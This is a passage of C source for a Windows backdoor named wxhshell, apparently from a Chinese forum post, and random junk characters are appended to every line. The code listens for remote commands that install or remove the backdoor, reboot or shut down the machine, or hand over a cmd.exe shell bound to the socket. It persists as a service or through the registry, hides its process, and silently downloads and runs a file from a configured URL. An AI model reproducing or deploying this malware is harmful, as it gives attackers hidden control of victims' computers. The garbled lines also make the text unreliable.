  } -20bPiM$A  
  // 安装 hEH?[>9  
  case 'i': { s`8= 3]w  
    if(Install()) #L;dI@7C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 69NeQ$](  
    else {duz\k2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }C?'BRX  
    break; 2\{M:\2o  
    } 7U"g3 a)=  
  // 卸载 2- h{N  
  case 'r': { q:0N<$63  
    if(Uninstall()) 783,s_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >\#*P'y`d  
    else Eyqa?$R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C2I_%nU Z1  
    break; b\!_cb~"@  
    } $( kF#  
  // 显示 wxhshell 所在路径 ]:-mbgW  
  case 'p': { M"Hf :9Rk  
    char svExeFile[MAX_PATH]; ZJJY8k `  
    strcpy(svExeFile,"\n\r"); hWLA<wdb  
      strcat(svExeFile,ExeFile); lgy <?LI\  
        send(wsh,svExeFile,strlen(svExeFile),0); !i}w~U<  
    break; _< V)-Y  
    } F~W6Bp^W  
  // 重启 ueWEc^_>  
  case 'b': { 3(N$nsi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .! 3|&V'<  
    if(Boot(REBOOT)) P3=G1=47U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RSRS wkC  
    else { ksUcx4;a@F  
    closesocket(wsh); -d/ =5yxL  
    ExitThread(0); JFmC\  
    } pYEMmZ?L  
    break;  7xlkZF  
    } X`K<>0.N  
  // 关机 lrE5^;/s1  
  case 'd': { 8/#A!Ww]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pmx -8w  
    if(Boot(SHUTDOWN)) I$G['` XX/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gz9j&W.  
    else { JPHL#sKyz  
    closesocket(wsh); z&\a:fJ&  
    ExitThread(0); iWkWR"ys y  
    } | YWD8 +  
    break; adcE'fA<_  
    } EME|k{W  
  // 获取shell ;JT-kw6l5K  
  case 's': { `$ 9x1dx  
    CmdShell(wsh); a58H9w"u)  
    closesocket(wsh); fTec  
    ExitThread(0); 9W5lSX#^;  
    break; ;H*T^0  
  } eo?bL$A[s  
  // 退出 ;igIZ$&  
  case 'x': { c)85=T6*aA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^{`exCwM x  
    CloseIt(wsh); q.bSIV|  
    break; 'H>^2C iM  
    } 5C ]x!>kX  
  // 离开 ,&.!?0+  
  case 'q': { !;A\.~-!G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %sP*=5?vA  
    closesocket(wsh); q?yVR3]M  
    WSACleanup(); ]%H`_8<gc  
    exit(1); q54]1TQ  
    break; tDcT%D {:  
        } q<|AZ2Ai  
  } tcI*a>  
  } Dz/ "M=  
vvMT}-!  
  // 提示信息 !Ai@$tl[S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j,eo2HaL  
} Zu[su>\  
  } _V6ukd"B~  
b8UO,fY q  
  return; wn%A4-%{  
} p6V0`5@t  
$6 f3F?y7  
// shell模块句柄 bI1N@=  
int CmdShell(SOCKET sock) {!L~@r  
{ 9Y9GwL]T  
STARTUPINFO si; :5<UkN)R(  
ZeroMemory(&si,sizeof(si)); #;yZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #;e:A8IQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6bC3O4Rw  
PROCESS_INFORMATION ProcessInfo; x 9fip-  
char cmdline[]="cmd";  }my`K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S,UDezxg  
  return 0; b4kgFA  
} a1lh-2x X  
T8$y[W-c  
// 自身启动模式 A;M'LM-M  
int StartFromService(void) u6JM]kR  
{ V)25$aKW7  
typedef struct }Sv:`9=  
{ Y$_B1_  
  DWORD ExitStatus; #\OA)`U  
  DWORD PebBaseAddress; ~f98#43  
  DWORD AffinityMask; aW7^d'ZZ\  
  DWORD BasePriority; 8l`*]1.W<  
  ULONG UniqueProcessId; f]CXu3w(J  
  ULONG InheritedFromUniqueProcessId; VTE .^EK!  
}   PROCESS_BASIC_INFORMATION; ;e*!S}C,  
7!E,V:bt'  
PROCNTQSIP NtQueryInformationProcess; } q8ASYNc  
zrb}_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q![@c   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8d'0N  
(jE9XxQY  
  HANDLE             hProcess; 6i/(5 nQ  
  PROCESS_BASIC_INFORMATION pbi; 26h21Z16q  
b ]KBgZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R\[e!g*I  
  if(NULL == hInst ) return 0; sPIn|d  
;i+jJ4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  b>ySv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z2GY:<s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G 3ptx! D  
NgPk&niM  
  if (!NtQueryInformationProcess) return 0; bk[!8- b/a  
R6->t #n,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zO6oT1I  
  if(!hProcess) return 0; \9T7A&  
P*j|.63  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3Y$GsN4ln  
#H~64/  
  CloseHandle(hProcess); ~t~|"u"P  
;2QP7PrSY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T>W,'H  
if(hProcess==NULL) return 0; ]Y&VT7+Z  
+ZP7{%  
HMODULE hMod; i83OOV$1J  
char procName[255]; ?:0Jav  
unsigned long cbNeeded; sYA1\YIii  
BI@[\aRLQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $ I?"lky  
>A"(KSNL  
  CloseHandle(hProcess); pQB."[n  
%xLh Z\  
if(strstr(procName,"services")) return 1; // 以服务启动 xAm6BB c  
Ny/MJ#Lq  
  return 0; // 注册表启动 $F.a><1rY  
} [$UI8tV  
dM@1l1h/  
// 主模块 X:{!n({r=  
int StartWxhshell(LPSTR lpCmdLine) @H8EWTZ  
{ -KbYOb  
  SOCKET wsl; !&E-}}<  
BOOL val=TRUE; vl)l'  
  int port=0; jPkn[W# 6  
  struct sockaddr_in door; 8z\xrY  
j?QDR  
  if(wscfg.ws_autoins) Install(); J'r^/  
8u]2xB=K  
port=atoi(lpCmdLine); F!K>Kz  
lyhiFkO iH  
if(port<=0) port=wscfg.ws_port; _aeBauD  
COlaD"Y  
  WSADATA data; uB?ZcF}Tk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "0TZTa1e  
!;'=iNOYR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uyx 2;f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u ^RxD^=L  
  door.sin_family = AF_INET; 7G],T++N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); klhtKp_p  
  door.sin_port = htons(port); F:DrX_O%  
_)-o1`*-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \fe]c :  
closesocket(wsl); q5S9C%b  
return 1; dAj$1Ke  
} ]]yO1x$Kk  
-UT}/:a  
  if(listen(wsl,2) == INVALID_SOCKET) { HxI" 8A  
closesocket(wsl); c:.eGH_f  
return 1; &%Tj/Qx  
} ,R|BG  
  Wxhshell(wsl); 93hxSRw  
  WSACleanup(); 0{SL&<&  
ddR>7d}N  
return 0; C7AUsYM  
5F"jk d+  
} 9N3eN  
gQ.Sa j $  
// 以NT服务方式启动 FVBYo%Ap  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x,Vr=FB  
{ hpk7 A np  
DWORD   status = 0; RG`1en  
  DWORD   specificError = 0xfffffff; =g|FT  
=tY T8Q;al  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |Q>IrT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9&NgtZpt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >LuYHr  
  serviceStatus.dwWin32ExitCode     = 0; tLmTjX .6  
  serviceStatus.dwServiceSpecificExitCode = 0; teVM*-  
  serviceStatus.dwCheckPoint       = 0; 4KrL{Z+}  
  serviceStatus.dwWaitHint       = 0; #$y?v%^  
T[A 69O]v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :~^ (g$Z  
  if (hServiceStatusHandle==0) return; L/^I*p,  
?z u8)U  
status = GetLastError(); >o,TZc\  
  if (status!=NO_ERROR) "zy7C*)>r  
{ I<tm"?q0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8\gjST*  
    serviceStatus.dwCheckPoint       = 0; v.5+7,4  
    serviceStatus.dwWaitHint       = 0; YK~%xo  
    serviceStatus.dwWin32ExitCode     = status; 1-QS~)+  
    serviceStatus.dwServiceSpecificExitCode = specificError; nFs(?Rv*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _J[P[(ab  
    return; ;A!BVq  
  } hR|MEn6KC  
>F&47Yn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1aABzB ^  
  serviceStatus.dwCheckPoint       = 0; )\^-2[;  
  serviceStatus.dwWaitHint       = 0; pD]OT-8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~u+9J}  
} N}YkMJy  
~e.L.,4QZ8  
// 处理NT服务事件,比如:启动、停止 gPc=2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I++. ee  
{ 7t_^8I%[  
switch(fdwControl) 8HdAFRw  
{ { [>Kob1  
case SERVICE_CONTROL_STOP: s"?3]P  
  serviceStatus.dwWin32ExitCode = 0; sn>~O4"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }:#P)8/v>%  
  serviceStatus.dwCheckPoint   = 0; =mmWl9'mJ  
  serviceStatus.dwWaitHint     = 0; b<u3 hln%,  
  { HUOj0T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xn|(9#1o  
  } PnG-h~Y3N  
  return; N)>ID(}F1  
case SERVICE_CONTROL_PAUSE: Zj4Uak  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GowH]MO  
  break; jlg(drTo  
case SERVICE_CONTROL_CONTINUE: >&#)Tqt!?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H 7 ^/q7  
  break; ~< x:q6  
case SERVICE_CONTROL_INTERROGATE: y18Y:)DkL  
  break; 6\S~P/PkE  
}; 9]@!S|1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P L+sR3bR  
} s&J]zb`  
R_xRp&5  
// 标准应用程序主函数 /|#fejPh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t);/'3|  
{ Vs{|xG7W D  
gKCX|cULY  
// 获取操作系统版本 FNId ;  
OsIsNt=GetOsVer(); o,3a4nH;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8sK9G` k  
PE5G  
  // 从命令行安装 {cw /!B  
  if(strpbrk(lpCmdLine,"iI")) Install(); EAby?51+  
F1Bq$*'N$w  
  // 下载执行文件 y L~W.H  
if(wscfg.ws_downexe) { d8x;~RA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?@ $r  
  WinExec(wscfg.ws_filenam,SW_HIDE); `pZm?}K  
} fLAw12;^  
;P&OX5~V  
if(!OsIsNt) { N$:8 ,9.z  
// 如果时win9x,隐藏进程并且设置为注册表启动 w"&n?L  
HideProc(); eGbG w  
StartWxhshell(lpCmdLine); FN) $0  
} b*Q&CL  
else GNJj=1Lsd  
  if(StartFromService()) R_S.tT!  
  // 以服务方式启动 ?#Q #u|~  
  StartServiceCtrlDispatcher(DispatchTable); lCHO;7YHX  
else *s iFj CN<  
  // 普通方式启动 -+-_I*(  
  StartWxhshell(lpCmdLine); <yg F(  
&XUiKnNW  
return 0; tIS<U(N ;  
}
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只看该作者 1 发表于: 2006-10-10
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